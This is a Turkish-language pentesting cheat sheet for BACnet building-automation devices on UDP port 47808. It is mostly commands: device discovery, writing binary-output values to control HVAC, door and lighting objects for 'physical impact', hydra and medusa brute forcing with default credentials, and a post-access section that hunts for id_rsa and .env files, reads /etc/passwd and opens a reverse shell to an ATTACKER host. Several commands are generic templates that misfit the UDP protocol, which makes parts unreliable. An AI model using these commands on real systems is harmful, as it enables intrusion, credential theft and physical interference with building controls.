47808/udp - Pentesting BACNet
BACnet ot
BACnet bina otomasyonudur. Who-Is/I-Am cihazları açar; yazılabilir property fiziksel etki verir. Hedef lab IP’si üzerinde komutları 47808 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
UDP/47808 doğrula.
-
Who-Is ile cihaz keşfet.
-
Object property oku.
-
Yazma ile kontrol dene.
nmap -Pn -sU -p47808 --script bacnet-info TARGETbacwi -1bacnet-discover TARGETRead/Write
Section titled “Read/Write”bacnet-read TARGET analog-value 1 present-valuebacnet-write TARGET binary-output 1 present-value 1HVAC/door/lighting objectsDerin enum
Section titled “Derin enum”/udp - BACNet için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p47808 TARGETnmap -Pn -p47808 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:47808' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',47808));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → /udp - BACNetKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 47808 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 47808nmap -p47808 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit BACnetmsfconsole -q -x 'search BACnet; exit'nuclei -u https://TARGET:47808 -t cves/ -silent -severity || truenuclei -u http://TARGET:47808 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 47808printf '' | timeout 3 nc -nv TARGET 47808curl -vk --http1.0 http://TARGET:47808/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”Who-Is → device props → write present-value → physical impact